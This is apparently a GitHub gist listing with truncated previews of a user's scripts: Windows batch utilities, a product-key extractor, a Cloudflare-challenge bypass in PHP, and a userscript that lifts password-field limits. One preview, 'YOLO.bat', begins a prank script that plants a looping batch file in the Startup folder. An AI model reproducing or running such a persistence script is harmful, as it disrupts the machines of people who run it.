Instantly share code, notes, and snippets.

View hash2magnet.php
<?php
if(isset($_POST['novar']))
{
$hash=$_POST['hache'];
$hash = trim($hash);
$hash = stripslashes($hash);
$hash = htmlspecialchars($hash);
}
if(isset($_POST['avar']))
{
View capture-error-winload.bat
@echo off
:: script to use when capture image capture shows error 0xc000000f (failed to start winload.*) under 2012r2
:: https://gist.github.com/Albirew/ff86c4871b252acf6d7b5c298283859c
echo ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
echo º Bypass error 0xc000000f on capture.wim (failed to start winload.*) º
echo ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍŒ
echo.
if [%1]==[] goto noarg
:: UAC privilege escalation
:checkPrivileges
View anti-disabled.js
// ==UserScript==
// @name anti-disabled
// @description Remove fuckin password and button limitation on websites
// @version 1
// @author sysadmin_fr | https://discord.gg/ejJ4dsg
// @grant none
// @include http://*
// @include https://*
// @run-at document-start
// @downloadURL https://gist.githubusercontent.com/Albirew/70167de32ecf5992c97c80b00584d4ee/raw/anti-disabled.js
View pocketmine.sh
#!/bin/bash
# /etc/init.d/pocketmine
### BEGIN INIT INFO
# Provides: pocketmine
# Required-Start: $local_fs $network $remote_fs screen-cleanup
# Required-Stop: $local_fs $network $remote_fs
# Default-Start: 2 3 4 5
# Default-Stop: 0 1 6
# Short-Description: PocketMine server
View winkey-extract.bat
@echo off
setlocal
set v=Unimplemented version of Windows...
for /f "tokens=4-7 delims=[.] " %%i in ('ver') do (if %%i==Version (set v=%%j.%%k) else (set v=%%i.%%j))
if "%v%" == "10.0" set v=Windows10
if "%v%" == "6.3" set v=Windows8.1
if "%v%" == "6.2" set v=Windows8
if "%v%" == "6.1" set v=Windows7
echo %v%...
echo.
View wannaPatch.bat
@echo off
:: https://gist.github.com/Albirew/613cbf63595647ff26b269d5271871a0
:: added rev.18 of Matt's privilege escalation script: http://stackoverflow.com/posts/12264592/revisions
:: UAC privilege escalation
:checkPrivileges
NET FILE 1>NUL 2>NUL
if '%errorlevel%' == '0' ( goto gotPrivileges ) else ( goto getPrivileges )
:getPrivileges
if '%1'=='ELEV' (echo ELEV & shift /1 & goto gotPrivileges)
View htaccess.bat
@echo off
if [%1]==[] goto noarg
ren %1 .htaccess
exit
:noarg
echo rename input file into .htaccess
echo Usage: htaccess.bat "truc.txt"
pause
exit
View proxrss.php
<?php
/* cloudflare part by asifpk
* seduce.gravity@gmail.com */
function OpenURLcloudflare($url) {
//get cloudflare ChallengeForm
$page = OpenURL($url);
$data = explode('challenge-form',$page);
$data = explode('=', $data[1]);
$data = explode(';', $data[1]);
$value = $data[0];
View YOLO.bat
@echo off
:: YOLO v4 - ARMAGETROLL
set troll=%random%%random%.bat
cd "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup"
echo @echo off > %troll%
echo setlocal ENABLEDELAYEDEXPANSION >> %troll%
echo set troll=%%random%%%%random%%.bat >> %troll%
echo set lol=0 >> %troll%
echo :pwn >> %troll%
echo set /a lol=%%lol%%+1 >> %troll%
View crypter PDF (drag&Drop).bat
@echo off
:: permet de crypter un fichier pdf avec pdftk simplement en lachant le fichier pdf sur ce bat.
:: vous aurez besoin de PDFTK(1): http://www.accesspdf.com/pdftk/ (1.12 à la date de ce batch)
:: utile pour faire chier les administrations en bloquant le copier-coller et en permettant que l'impression
:: si vous voulez placer ce fichier en dehors du dossier de pdftk, veuillez remplacer %~dp0 dans la ligne suivante
set pdftk=%~dp0
:: ensuite, votre mot de passe pour crypter votre PDF
set pwd=Putain de mot de passe en or massif 24 carats serti de diamants!